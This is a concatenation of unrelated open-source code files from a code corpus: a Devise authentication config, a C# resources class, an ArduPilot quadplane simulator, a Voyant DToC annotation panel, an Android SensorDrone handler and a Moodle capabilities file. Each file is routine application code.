# Configure which authentication keys should have whitespace stripped.
# These keys will have whitespace before and after removed upon creating or
# modifying a user and when used to authenticate or find a user. Default is :email.
config.strip_whitespace_keys = [:email]
# Tell if authentication through request.params is enabled. True by default.
# It can be set to an array that will enable params authentication only for the
# given strategies, for example, `config.params_authenticatable = [:database]` will
# enable it only for database (email + password) authentication.
# config.params_authenticatable = true
# Tell if authentication through HTTP Auth is enabled. False by default.
# It can be set to an array that will enable http authentication only for the
# given strategies, for example, `config.http_authenticatable = [:database]` will
# enable it only for database authentication. The supported strategies are:
# :database = Support basic authentication with authentication key + password
# config.http_authenticatable = false
# If 401 status code should be returned for AJAX requests. True by default.
# config.http_authenticatable_on_xhr = true
# The realm used in Http Basic Authentication. 'Application' by default.
# config.http_authentication_realm = 'Application'
# It will change confirmation, password recovery and other workflows
# to behave the same regardless if the e-mail provided was right or wrong.
# Does not affect registerable.
# config.paranoid = true
# By default Devise will store the user in session. You can skip storage for
# particular strategies by setting this option.
# Notice that if you are skipping storage for all authentication paths, you
# may want to disable generating routes to Devise's sessions controller by
# passing skip: :sessions to `devise_for` in your config/routes.rb
config.skip_session_storage = [:http_auth]
# By default, Devise cleans up the CSRF token on authentication to
# avoid CSRF token fixation attacks. This means that, when using AJAX
# requests for sign in and sign up, you need to get a new CSRF token
# from the server. You can disable this option at your own risk.
# config.clean_up_csrf_token_on_authentication = true
# When false, Devise will not attempt to reload routes on eager load.
# This can reduce the time taken to boot the app but if your application
# requires the Devise mappings to be loaded during boot time the application
# won't boot properly.
# config.reload_routes = true
# ==> Configuration for :database_authenticatable
# For bcrypt, this is the cost for hashing the password and defaults to 11. If
# using other algorithms, it sets how many times you want the password to be hashed.
#
# Limiting the stretches to just one in testing will increase the performance of
# your test suite dramatically. However, it is STRONGLY RECOMMENDED to not use
# a value less than 10 in other environments. Note that, for bcrypt (the default
# algorithm), the cost increases exponentially with the number of stretches (e.g.
# a value of 20 is already extremely slow: approx. 60 seconds for 1 calculation).
config.stretches = Rails.env.test? ? 1 : 11
# Set up a pepper to generate the hashed password.
# config.pepper = 'e88da16cdc419424f3dd1efefc28524ff562e86652a6c3fc0acfe9ba0a7559c452dcdb15295e837aa8762504ab92acb8a0e68a45c0127b58834b5080f1a9eed5'
# Send a notification email when the user's password is changed
# config.send_password_change_notification = false
# ==> Configuration for :confirmable
# A period that the user is allowed to access the website even without
# confirming their account. For instance, if set to 2.days, the user will be
# able to access the website for two days without confirming their account,
# access will be blocked just in the third day. Default is 0.days, meaning
# the user cannot access the website without confirming their account.
# config.allow_unconfirmed_access_for = 2.days
# A period that the user is allowed to confirm their account before their
# token becomes invalid. For example, if set to 3.days, the user can confirm
# their account within 3 days after the mail was sent, but on the fourth day
# their account can't be confirmed with the token any more.
# Default is nil, meaning there is no restriction on how long a user can take
# before confirming their account.
# config.confirm_within = 3.days
# If true, requires any email changes to be confirmed (exactly the same way as
# initial account confirmation) to be applied. Requires additional unconfirmed_email
# db field (see migrations). Until confirmed, new email is stored in
# unconfirmed_email column, and copied to email column on successful confirmation.
config.reconfirmable = false
# Defines which key will be used when confirming an account
# config.confirmation_keys = [:email]
# ==> Configuration for :rememberable
# The time the user will be remembered without asking for credentials again.
# config.remember_for = 2.weeks
# Invalidates all the remember me tokens when the user signs out.
config.expire_all_remember_me_on_sign_out = true
# If true, extends the user's remember period when remembered via cookie.
# config.extend_remember_period = false
# Options to be passed to the created cookie. For instance, you can set
# secure: true in order to force SSL only cookies.
# config.rememberable_options = {}
# ==> Configuration for :validatable
# Range for password length.
config.password_length = 6..128
# Email regex used to validate email formats. It simply asserts that
# one (and only one) @ exists in the given string. This is mainly
# to give user feedback and not to assert the e-mail validity.
config.email_regexp = /\A[^@\s]+@[^@\s]+\z/
# ==> Configuration for :timeoutable
# The time you want to timeout the user session without activity. After this
# time the user will be asked for credentials again. Default is 30 minutes.
# config.timeout_in = 30.minutes
# ==> Configuration for :lockable
# Defines which strategy will be used to lock an account.
# :failed_attempts = Locks an account after a number of failed attempts to sign in.
# :none = No lock strategy. You should handle locking by yourself.
config.lock_strategy = :failed_attempts
# Defines which key will be used when locking and unlocking an account
config.unlock_keys = [:email]
# Defines which strategy will be used to unlock an account.
# :email = Sends an unlock link to the user email
# :time = Re-enables login after a certain amount of time (see :unlock_in below)
# :both = Enables both strategies
# :none = No unlock strategy. You should handle unlocking by yourself.
config.unlock_strategy = :email
# Number of authentication tries before locking an account if lock_strategy
# is failed attempts.
config.maximum_attempts = 5
# Time interval to unlock the account if :time is enabled as unlock_strategy.
# config.unlock_in = 1.hour
# Warn on the last attempt before the account is locked.
config.last_attempt_warning = true
# ==> Configuration for :recoverable
#
# Defines which key will be used when recovering the password for an account
config.reset_password_keys = [:email]
# Time interval you can reset your password with a reset password key.
# Don't put a too small interval or your users won't have the time to
# change their passwords.
config.reset_password_within = 6.days
# When set to false, does not sign a user in automatically after their password is
# reset. Defaults to true, so a user is signed in automatically after a reset.
# config.sign_in_after_reset_password = true
# ==> Configuration for :encryptable
# Allow you to use another hashing or encryption algorithm besides bcrypt (default).
# You can use :sha1, :sha512 or algorithms from others authentication tools as
# :clearance_sha1, :authlogic_sha512 (then you should set stretches above to 20
# for default behavior) and :restful_authentication_sha1 (then you should set
# stretches to 10, and copy REST_AUTH_SITE_KEY to pepper).
#
# Require the `devise-encryptable` gem when using anything other than bcrypt
# config.encryptor = :sha512
# ==> Scopes configuration
# Turn scoped views on. Before rendering "sessions/new", it will first check for
# "users/sessions/new". It's turned off by default because it's slower if you
# are using only default views.
# config.scoped_views = false
# Configure the default scope given to Warden. By default it's the first
# devise role declared in your routes (usually :user).
# config.default_scope = :user
# Set this configuration to false if you want /users/sign_out to sign out
# only the current scope. By default, Devise signs out all scopes.
# config.sign_out_all_scopes = true
# ==> Navigation configuration
# Lists the formats that should be treated as navigational. Formats like
# :html, should redirect to the sign in page when the user does not have
# access, but formats like :xml or :json, should return 401.
#
# If you have any extra navigational formats, like :iphone or :mobile, you
# should add them to the navigational formats lists.
#
# The "*/*" below is required to match Internet Explorer requests.
# config.navigational_formats = ['*/*', :html]
# The default HTTP method used to sign out a resource. Default is :delete.
config.sign_out_via = :delete
# ==> OmniAuth
# Add a new OmniAuth provider. Check the wiki for more information on setting
# up on your models and hooks.
# config.omniauth :github, 'APP_ID', 'APP_SECRET', scope: 'user,public_repo'
# ==> Warden configuration
# If you want to use other strategies, that are not supported by Devise, or
# change the failure app, you can configure them inside the config.warden block.
#
# config.warden do |manager|
# manager.intercept_401 = false
# manager.default_strategies(scope: :user).unshift :some_external_strategy
# end
# ==> Mountable engine configurations
# When using Devise inside an engine, let's call it `MyEngine`, and this engine
# is mountable, there are some extra configurations to be taken into account.
# The following options are available, assuming the engine is mounted as:
#
# mount MyEngine, at: '/my_engine'
#
# The router that invoked `devise_for`, in the example above, would be:
# config.router_name = :my_engine
#
# When using OmniAuth, Devise cannot automatically set OmniAuth path,
# so you need to do it manually. For the users scope, it would be:
# config.omniauth_path_prefix = '/my_engine/users/auth'
end
| gpl-3.0 |
changchoonl22/didoclient | ATestPlnNRsnt/Properties/Resources.Designer.cs | 3058 | //------------------------------------------------------------------------------
// <auto-generated>
// 이 코드는 도구를 사용하여 생성되었습니다.
// 런타임 버전:4.0.30319.18408
//
// 파일 내용을 변경하면 잘못된 동작이 발생할 수 있으며, 코드를 다시 생성하면
// 이러한 변경 내용이 손실됩니다.
// </auto-generated>
//------------------------------------------------------------------------------
namespace ATestPlnNRsnt.Properties
{
/// <summary>
/// 지역화된 문자열 등을 찾기 위한 강력한 형식의 리소스 클래스입니다.
/// </summary>
// 이 클래스는 ResGen 또는 Visual Studio와 같은 도구를 통해 StronglyTypedResourceBuilder
// 클래스에서 자동으로 생성되었습니다.
// 멤버를 추가하거나 제거하려면 .ResX 파일을 편집한 다음 /str 옵션을 사용하여
// ResGen을 다시 실행하거나 VS 프로젝트를 다시 빌드하십시오.
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources
{
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources()
{
}
/// <summary>
/// 이 클래스에서 사용하는 캐시된 ResourceManager 인스턴스를 반환합니다.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager
{
get
{
if ((resourceMan == null))
{
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("ATestPlnNRsnt.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
/// <summary>
/// 이 강력한 형식의 리소스 클래스를 사용하여 모든 리소스 조회에 대한 현재 스레드의 CurrentUICulture
/// 속성을 재정의합니다.
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture
{
get
{
return resourceCulture;
}
set
{
resourceCulture = value;
}
}
}
}
| gpl-3.0 |
koustubh-dwivedy/ardupilot | libraries/SITL/SIM_QuadPlane.cpp | 2809 | /// -*- tab-width: 4; Mode: C++; c-basic-offset: 4; indent-tabs-mode: nil -*-
/*
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/*
simple quadplane simulator class
*/
#include "SIM_QuadPlane.h"
#include <stdio.h>
using namespace SITL;
QuadPlane::QuadPlane(const char *home_str, const char *frame_str) :
Plane(home_str, frame_str)
{
// default to X frame
const char *frame_type = "x";
if (strstr(frame_str, "-octa-quad")) {
frame_type = "octa-quad";
} else if (strstr(frame_str, "-octaquad")) {
frame_type = "octa-quad";
} else if (strstr(frame_str, "-octa")) {
frame_type = "octa";
} else if (strstr(frame_str, "-hexax")) {
frame_type = "hexax";
} else if (strstr(frame_str, "-hexa")) {
frame_type = "hexa";
} else if (strstr(frame_str, "-plus")) {
frame_type = "+";
} else if (strstr(frame_str, "-plus")) {
frame_type = "+";
} else if (strstr(frame_str, "-y6")) {
frame_type = "y6";
} else if (strstr(frame_str, "-tri")) {
frame_type = "tri";
} else if (strstr(frame_str, "firefly")) {
frame_type = "firefly";
// elevon style surfaces
elevons = true;
// fwd motor gives zero thrust
thrust_scale = 0;
}
frame = Frame::find_frame(frame_type);
if (frame == nullptr) {
printf("Failed to find frame '%s'\n", frame_type);
exit(1);
}
// leave first 4 servos free for plane
frame->motor_offset = 4;
// we use zero terminal velocity to let the plane model handle the drag
frame->init(mass, 0.51, 0, 0);
}
/*
update the quadplane simulation by one time step
*/
void QuadPlane::update(const struct sitl_input &input)
{
// get wind vector setup
update_wind(input);
// first plane forces
Vector3f rot_accel;
calculate_forces(input, rot_accel, accel_body);
// now quad forces
Vector3f quad_rot_accel;
Vector3f quad_accel_body;
frame->calculate_forces(*this, input, quad_rot_accel, quad_accel_body);
rot_accel += quad_rot_accel;
accel_body += quad_accel_body;
update_dynamics(rot_accel);
// update lat/lon/altitude
update_position();
}
| gpl-3.0 |
sgsinclair/Voyant | src/main/webapp/dtoc/annotator/dtoc.annotator.old.js | 18491 | Ext.define('Voyant.panel.DToC.AnnotatorPanel', {
extend: 'Ext.panel.Panel',
requires: [],
mixins: ['Voyant.panel.Panel'],
alias: 'widget.dtocAnnotator',
config: {
corpus: undefined
},
statics: {
},
annotator: null,
loginButtonClicked: false,
store: null,
tpl: null,
_doingExport: false,
_docsToExport: [],
_annotationsForExport: [],
_progressBar: null,
_progressWin: null,
constructor: function(config) {
this.annotator = Ext.create('Voyant.tool.DToC.AnnotatorBridge');
this.store = Ext.create('Ext.data.JsonStore', {
fields: [
{name: 'created'},
{name: 'updated'},
{name: 'id'},
{name: 'links'},
{name: 'permissions'},
{name: 'quote'},
{name: 'shortQuote'},
{name: 'ranges'},
{name: 'tags'},
{name: 'text'},
{name: 'shortText'},
{name: 'uri'},
{name: 'user'},
{name: 'consumer'}
]
});
this.tpl = new Ext.XTemplate(
'<tpl for=".">',
'<div class="row">',
'<div class="annoInfo">',
'<span class="quote">“{shortQuote}”</span><br/>',
'By <span class="user">{user}</span> on <span class="date">{created:date("Y-m-d, g:ia")}</span>',
'</div>',
'<div class="annoTags">',
'<tpl for="tags">',
'<span class="tag">{.}</span> ',
'</tpl>',
'</div>',
'<div class="annoText shortText">{shortText}</div>',
'<div class="annoText longText hide">{text}</div>',
'</div>',
'</tpl>'
);
Ext.apply(config, {
layout: 'fit',
tbar: new Ext.Toolbar({
cls: 'dtc-toolbar',
hideBorders: true,
items: [{
xtype: 'textfield',
itemId: 'filter',
emptyText: 'Filter',
width: 120,
enableKeyEvents: true,
listeners: {
keyup: function(field, event) {
var value = this.getDockedItems('toolbar #filter')[0].getValue();
if (value == '') {
this.store.clearFilter();
} else {
this.store.filter('text', new RegExp('.*'+value+'.*', 'i'));
}
},
scope: this
}
}, '->', {
itemId: 'export',
xtype: 'button',
text: 'Export',
handler: function() {
this.export();
},
scope: this
}]
}),
items: [{
itemId: 'viewer',
xtype: 'dataview',
tpl: this.tpl,
store: this.store,
border: false,
autoScroll: true,
itemSelector: 'div.row',
overItemCls: 'over',
selectedItemCls: 'selected',
emptyText: '<div class="row">No annotations to display.</div>',
listeners: {
itemclick: function(view, record, el, index, e) {
if (index !== -1) {
el = Ext.get(el);
el.child('.longText').toggleCls('hide');
el.child('.shortText').toggleCls('hide');
var docId = Ext.urlDecode(record.get('uri')).docId;
var range = record.get('ranges')[0];
this.getApplication().dispatchEvent('annotationSelected', this, {
range: range,
docId: docId
});
}
},
scope: this
}
},{
xtype: 'panel',
border: false,
width: '100%',
height: '100%',
items: {
itemId: 'annotatorLoginButton',
xtype: 'button',
text: 'Annotator Login',
tooltip: 'This will take you to the login page. You must reload DToC after logging in.',
tooltipType: 'title',
style: 'display: block; margin: 10px auto;',
width: 105,
handler: function() {
this.loginButtonClicked = true;
window.open('http://annotateit.org/user/login');
},
scope: this
}
}]
});
function focusHandler() {
if (this.loginButtonClicked) {
var docId = Ext.getCmp('dtcReader').getCurrentDocId();
this.loadAnnotationsForDocId(docId);
this.loginButtonClicked = false;
}
}
window.addEventListener('focus', focusHandler.bind(this));
this.callParent(arguments);
this.mixins['Voyant.panel.Panel'].constructor.apply(this, [Ext.apply(config, {includeTools: {}})]);
},
initComponent: function() {
var me = this;
me.callParent(arguments);
},
listeners: {
dtcAnnotationsLoaded: function (src, data) {
if (this._doingExport) {
this._annotationsForExport.push(data.annotations);
this._doExport();
} else {
this.toggleView.call(this);
for (var i = 0; i < data.annotations.length; i++) {
var a = data.annotations[i];
a.shortText = a.text;
if (a.shortText.length > 50) {
a.shortText = a.shortText.substring(0, a.shortText.indexOf(' ', 40)) + '…';
}
a.shortQuote = a.quote;
if (a.shortQuote.length > 50) {
a.shortQuote = a.shortQuote.substring(0, a.shortQuote.indexOf(' ', 40)) + '…';
}
}
this.store.loadData(data.annotations, false);
}
},
loadedCorpus: function(src, corpus) {
// this.loadAnnotationsForCorpus();
},
dtcDocumentLoaded: function(src, data) {
this.loadAnnotationsForDocId(data.docId);
},
activate: function () {
this.toggleView();
}
},
loadAnnotationsForCorpus: function() {
var index = 0;
var doGet = function() {
var corpus = this.getApplication().getCorpus();
if (index < corpus.getDocumentsCount()-1) {
this.on('dtcAnnotationsLoaded', doGet, this, {single: true});
}
this.loadAnnotationsForDocId(corpus.getDocument(index).getId());
index++;
};
doGet.bind(this)();
},
loadAnnotationsForDocId: function(docId) {
var app = this.getApplication();
var base = app.getBaseUrl();
var uri = 'http://voyant-tools.org/'+'?skin=dtc&corpus='+app.getCorpus().getId()+'&docId='+docId;
this.annotator.loadAnnotationsForDocId(uri);
},
export: function() {
this._doingExport = true;
this._docsToExport = [];
var corpus = this.getApplication().getCorpus();
for (var i = 0, len = corpus.getDocumentsCount(); i < len; i++) {
this._docsToExport.push(corpus.getDocument(i).getId());
}
this._annotationsForExport = [];
if (this._progressWin === null) {
this._progressBar = new Ext.ProgressBar({
width: 300,
textTpl: '{percent}%'
});
this._progressWin = new Ext.Window({
title: 'Exporting Annotations',
layout: 'fit',
width: 300,
autoHeight: true,
closeAction: 'close',
modal: true,
plain: true,
items: [this._progressBar]
});
}
this._progressBar.updateProgress(0);
this._progressWin.show();
this._doExport();
},
_doExport: function() {
var docId = this._docsToExport.shift();
if (docId !== undefined) {
var totalDocs = this.getApplication().getCorpus().getDocumentsCount();
var percentage = Math.abs(this._docsToExport.length - totalDocs) / totalDocs;
this._progressBar.updateProgress(percentage);
this.loadAnnotationsForDocId(docId);
} else {
this._progressBar.updateProgress(1);
this._progressWin.hide();
this._doingExport = false;
var xml = this._processAnnotationsForExport(this._annotationsForExport);
window.open('data:text/xml;charset=utf-8,'+encodeURIComponent(xml));
}
},
_processAnnotationsForExport: function(annos) {
var xml = '<?xml version="1.0" encoding="UTF-8"?>\n<annotations>\n';
function convertEntities(value) {
return value.replace(/&/g, '&').replace(/"/g, '"').replace(/'/g, ''').replace(/</g, '<').replace(/>/g, '>');
}
for (var i = 0; i < annos.length; i++) {
var doc = annos[i];
for (var j = 0; j < doc.length; j++) {
var a = doc[j];
var range = a.ranges[0];
var containerId = this.annotator.containerId;
xml += ' <annotation>\n';
xml += ' <quote>'+convertEntities(a.quote)+'</quote>\n';
xml += ' <text>'+convertEntities(a.text)+'</text>\n';
xml += ' <created>'+convertEntities(a.created)+'</created>\n';
xml += ' <updated>'+convertEntities(a.updated)+'</updated>\n';
xml += ' <user>'+convertEntities(a.user)+'</user>\n';
xml += ' <consumer url="'+convertEntities(a.links[0].href)+'">annotateit</consumer>\n';
xml += ' <uri content="'+convertEntities(a.uri)+'" />\n';
if (range) {
xml += ' <range>\n';
xml += ' <rangeParent>//*[@id="'+containerId+'"]/div</rangeParent>\n';
xml += ' <start>'+range.start+'</start>\n';
xml += ' <startOffset>'+range.startOffset+'</startOffset>\n';
xml += ' <end>'+range.end+'</end>\n';
xml += ' <endOffset>'+range.endOffset+'</endOffset>\n';
xml += ' </range>\n';
}
xml += ' </annotation>\n';
}
}
xml += '</annotations>';
return xml;
},
toggleView: function() {
if (this.annotator.isAuthenticated()) {
this.queryById('annotatorLoginButton').hide();
this.queryById('viewer').show();
this.queryById('export').show();
} else {
this.queryById('viewer').hide();
this.queryById('export').hide();
this.queryById('annotatorLoginButton').show();
}
}
});
Ext.define('Voyant.tool.DToC.AnnotatorBridge', {
alias: 'widget.dtocAnnotatorBridge',
id: 'dtcAnnotatorBridge',
containerId: 'dtcReaderContainer',
annotator: null,
annotatorAdderObserver: null, // MutationObserver to properly position the adder when it's shown
doAdderAdjust: true, // whether to try to fix the adder position
firstInit: true,
showLoginWindow: true,
adjustForToolbar: true, // should we adjust height values for the Annotator toolbar? (should only do once)
isAuthenticated : function() {
if (this.annotator != null) {
return this.annotator.plugins.Auth.haveValidToken();
} else {
return false;
}
},
getApplication : function() {
return Ext.getCmp('dtcAnnotator').getApplication();
},
constructor : function(config) {
config = config || {};
this.loginWin = new Ext.Window({
title: 'Annotator Authentication',
modal: true,
closeAction: 'hide',
width: 300,
autoHeight: true,
items: {
xtype: 'panel',
border: false,
bodyStyle: 'padding:5px;',
items: [{
xtype: 'container',
html: '<p>You need to log in to see annotations. Click the button below to be taken to the Annotator login page.</p>'
},{
xtype: 'button',
text: 'Annotator Login',
handler: function() {
Ext.getCmp('dtcAnnotator').loginButtonClicked = true;
window.open('http://annotateit.org/user/login');
},
scope: this
},{
xtype: 'container',
html: '<p>After logging in you must then reload the Dynamic Table of Contexts.</p>'
},{
xtype: 'container',
html: '<hr style="border: none; border-top: 1px solid #ccc; width: 90%;" />'
},{
xtype: 'checkbox',
labelAlign: 'right',
labelWidth: 200,
itemId: 'showMsg',
fieldLabel: 'Stop showing this message',
checked: !this.showLoginWindow
}],
},
buttons: [{
text: 'Ok',
handler: function() {
this.showLoginWindow = !this.loginWin.queryById('showMsg').getValue();
this.loginWin.hide();
},
scope: this
}]
});
function onEditorShown(editor, anno) {
var $editor = $('.annotator-editor form', '#dtcReaderContainer');
var $parent = $('#dtcReaderContainer');
if ($editor.offset().top < $parent.offset().top) {
$editor.parents('.annotator-editor').addClass('annotator-invert-y');
}
if ($editor.offset().left + $editor.outerWidth() > $parent.offset().left + $parent.outerWidth()) {
$editor.parents('.annotator-editor').addClass('annotator-invert-x');
}
}
function onViewerShown(viewer, anno) {
var $viewer = $('.annotator-viewer li', '#dtcReaderContainer');
var $parent = $('#dtcReaderContainer');
if ($viewer.offset().top < $parent.offset().top) {
$viewer.parents('.annotator-viewer').addClass('annotator-invert-y');
}
if ($viewer.offset().left + $viewer.outerWidth() > $parent.offset().left + $parent.outerWidth()) {
$viewer.parents('.annotator-viewer').addClass('annotator-invert-x');
}
}
function onAnnotationsLoaded(annos) {
this.getApplication().dispatchEvent('dtcAnnotationsLoaded', this, {annotations: annos});
}
function onAnnotationCreated(anno) {
// TODO trigger reload in annotations panel
Ext.toast('The annotation was successfully created.', 'Annotation Created', 'b');
}
function onAnnotationUpdated(anno) {
Ext.toast('The annotation was successfully updated.', 'Annotation Updated', 'b');
}
function onAnnotationDeleted(anno) {
if (anno.id !== undefined) {
Ext.toast('The annotation was successfully deleted.', 'Annotation Deleted', 'b');
}
}
function onAuthenticationFailed() {
if (this.showLoginWindow) {
this.loginWin.show();
}
this.destroyAnnotator(); // don't show pop-up if we're not authenticated
}
function initAnnotator(uri) {
if (this.annotator !== null) {
this.destroyAnnotator();
}
this.annotator = new Annotator($('#'+this.containerId));
this.annotator.addPlugin('Auth', {
//tokenUrl: Voyeur.application.getBaseUrl() + 'token'
tokenUrl: 'http://annotateit.org/api/token'
});
this.annotator.addPlugin('Store', {
prefix: 'http://annotateit.org/api',
annotationData: {
uri: uri
},
loadFromSearch: {
uri: uri
}
});
this.annotator.addPlugin('Tags');
// this.annotator.addPlugin('Filter', {
// addAnnotationFilter: true,
// filters: [{
// label: 'Tag',
// property: 'tags',
// isFiltered: function(input, tags) {
// if (input && tags && tags.length) {
// console.log(this, input, tags);
// var keywords = input.split(/\s+/g);
// for (var i = 0; i < keywords.length; i += 1) {
// for (var j = 0; j < tags.length; j += 1) {
// if (tags[j].indexOf(keywords[i]) !== -1) {
// return true;
// }
// }
// }
// }
// return false;
// }
// }]
// });
this.annotator.addPlugin('Permissions');
if (this.firstInit) {
// TODO events are persisting
this.annotator.on('annotationEditorShown', onEditorShown.bind(this));
this.annotator.on('annotationViewerShown', onViewerShown.bind(this));
this.annotator.on('annotationsLoaded', onAnnotationsLoaded.bind(this));
this.annotator.on('annotationCreated', onAnnotationCreated.bind(this));
this.annotator.on('annotationUpdated', onAnnotationUpdated.bind(this));
this.annotator.on('annotationDeleted', onAnnotationDeleted.bind(this));
this.annotator.on('authenticationFailed', onAuthenticationFailed.bind(this));
this.firstInit = false;
}
if (this.annotatorAdderObserver === null) {
if (window.MutationObserver) {
this.annotatorAdderObserver = new MutationObserver(function(mutations) {
var $editor = $('.annotator-adder', '#dtcReaderContainer');
if ($editor.is(':visible') && this.doAdderAdjust) {
var $parent = $('#dtcReaderContainer');
if ($editor.offset().top < $parent.offset().top) {
$editor.offset({top: $parent.offset().top});
}
if ($editor.offset().left + $editor.outerWidth() > $parent.offset().left + $parent.outerWidth()) {
$editor.offset({left: $parent.offset().left});
}
this.doAdderAdjust = false;
} else {
this.doAdderAdjust = true;
}
}.bind(this));
this.annotatorAdderObserver.observe($('.annotator-adder', '#dtcReaderContainer')[0], {attributes: true, attributeFilter: ['style'], attributeOldValue: true});
}
}
if (this.adjustForToolbar) {
var paddingTop = parseInt($('html').css('paddingTop'));
var header = Ext.getCmp('header');
header.setHeight(header.getHeight() + paddingTop);
header.body.first().setStyle('marginTop', paddingTop+'px');
this.getApplication().getViewport().updateLayout();
this.adjustForToolbar = false;
}
$('html').removeAttr('style'); // inserted by Annotator for toolbar
}
this.destroyAnnotator = function() {
if (this.annotator != null) {
this.annotator.removeEvents();
this.annotator.destroy();
this.annotator = null;
}
if (this.annotatorAdderObserver != null) {
this.annotatorAdderObserver.disconnect();
this.annotatorAdderObserver = null;
}
};
this.loadAnnotationsForDocId = function(uri) {
// need to destroy and recreate annotator each time in order to load annos from new uri
initAnnotator.bind(this, uri)();
// this.annotator.plugins.Store.options.annotationData.uri = uri;
// this.annotator.plugins.Store.loadAnnotationsFromSearch();
// this.annotator.load({
// uri: uri
// });
};
// override mousePosition function so we always use the containerId container as the offsetEl
// see https://github.com/okfn/annotator/issues/243
Annotator.Util.mousePosition = function(e, offsetEl) {
var container = $('#dtcReaderContainer');
var offset = container.offset();
var scrollTop = container.scrollTop();
// substract padding as well
var paddingTop = parseInt(container.css('padding-top'));
var paddingLeft = parseInt(container.css('padding-left'));
return {
top : e.pageY - offset.top - paddingTop - 20 + scrollTop,
left : e.pageX - offset.left - paddingLeft
};
};
}
}); | gpl-3.0 |
leomuona/sauna-app | app/src/main/java/fi/helsinki/sauna_app/app/drone/SaunaDroneEventHandler.java | 2231 | package fi.helsinki.sauna_app.app.drone;
import com.sensorcon.sensordrone.DroneEventHandler;
import com.sensorcon.sensordrone.DroneEventObject;
import com.sensorcon.sensordrone.android.Drone;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
/**
* Handles SensorDrone events. Pipes SensorDrone calls.
*/
public class SaunaDroneEventHandler implements DroneEventHandler {
private Drone drone;
private float temperature;
private float humidity;
private float co;
private CountDownLatch latch;
public SaunaDroneEventHandler(Drone drone) {
this.drone = drone;
latch = new CountDownLatch(1);
}
@Override
public void parseEvent(DroneEventObject deo) {
if (deo.matches(DroneEventObject.droneEventType.CONNECTED)) {
drone.enableTemperature();
}
if (deo.matches(DroneEventObject.droneEventType.TEMPERATURE_ENABLED)) {
drone.measureTemperature();
}
if (deo.matches(DroneEventObject.droneEventType.TEMPERATURE_MEASURED)) {
temperature = drone.temperature_Celsius;
drone.enableHumidity();
}
if (deo.matches(DroneEventObject.droneEventType.HUMIDITY_ENABLED)) {
drone.measureHumidity();
}
if (deo.matches(DroneEventObject.droneEventType.HUMIDITY_MEASURED)) {
humidity = drone.humidity_Percent;
drone.enablePrecisionGas();
}
if (deo.matches(DroneEventObject.droneEventType.PRECISION_GAS_ENABLED)) {
drone.measurePrecisionGas();
}
if (deo.matches(DroneEventObject.droneEventType.PRECISION_GAS_MEASURED)) {
co = drone.precisionGas_ppmCarbonMonoxide;
// all measurements done, free latch
latch.countDown();
}
}
public boolean waitForEvents(long timeout) {
try {
return latch.await(timeout, TimeUnit.SECONDS);
} catch (InterruptedException e) {
return false;
}
}
public float getCo() {
return co;
}
public float getTemperature() {
return temperature;
}
public float getHumidity() {
return humidity;
}
}
| gpl-3.0 |
vfremaux/moodle-mod_mplayer | db/access.php | 2245 | <?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* @package mod_mplayer
* @category mod
* @author Matt Bury - matbury@gmail.com < 2.x
* @author Valery Fremaux <valery.fremaux@gmail.com> > 2.x
* @copyright (C) 2009 Matt Bury
* @copyright (C) 2015 Valery Fremaux (http://www.mylearningfactory.com)
* @licence http://www.gnu.org/copyleft/gpl.html GNU Public Licence
*/
defined('MOODLE_INTERNAL') || die();
$capabilities = array(
'mod/mplayer:addinstance' => array(
'captype' => 'read',
'contextlevel' => CONTEXT_MODULE,
'archetypes' => array(
'editingteacher' => CAP_ALLOW,
'manager' => CAP_ALLOW
)
),
// Ability to see that swf exists, and the basic information about it.
// For guests.
'mod/mplayer:view' => array(
'captype' => 'read',
'contextlevel' => CONTEXT_MODULE,
'archetypes' => array(
'guest' => CAP_ALLOW,
'student' => CAP_ALLOW,
'teacher' => CAP_ALLOW,
'editingteacher' => CAP_ALLOW,
'manager' => CAP_ALLOW
)
),
'mod/mplayer:assessed' => array(
'captype' => 'read',
'contextlevel' => CONTEXT_MODULE,
'archetypes' => array(
'student' => CAP_ALLOW,
)
),
'mod/mplayer:assessor' => array(
'captype' => 'read',
'contextlevel' => CONTEXT_MODULE,
'archetypes' => array(
'teacher' => CAP_ALLOW,
'editingteacher' => CAP_ALLOW,
'manager' => CAP_ALLOW
)
),
);
| gpl-3.0 |
sklintyg/webcert | web/src/main/java/se/inera/intyg/webcert/web/service/facade/question/util/QuestionConverter.java | 1889 | /*
* Copyright (C) 2022 Inera AB (http://www.inera.se)
*
* This file is part of sklintyg (https://github.com/sklintyg).
*
* sklintyg is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* sklintyg is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
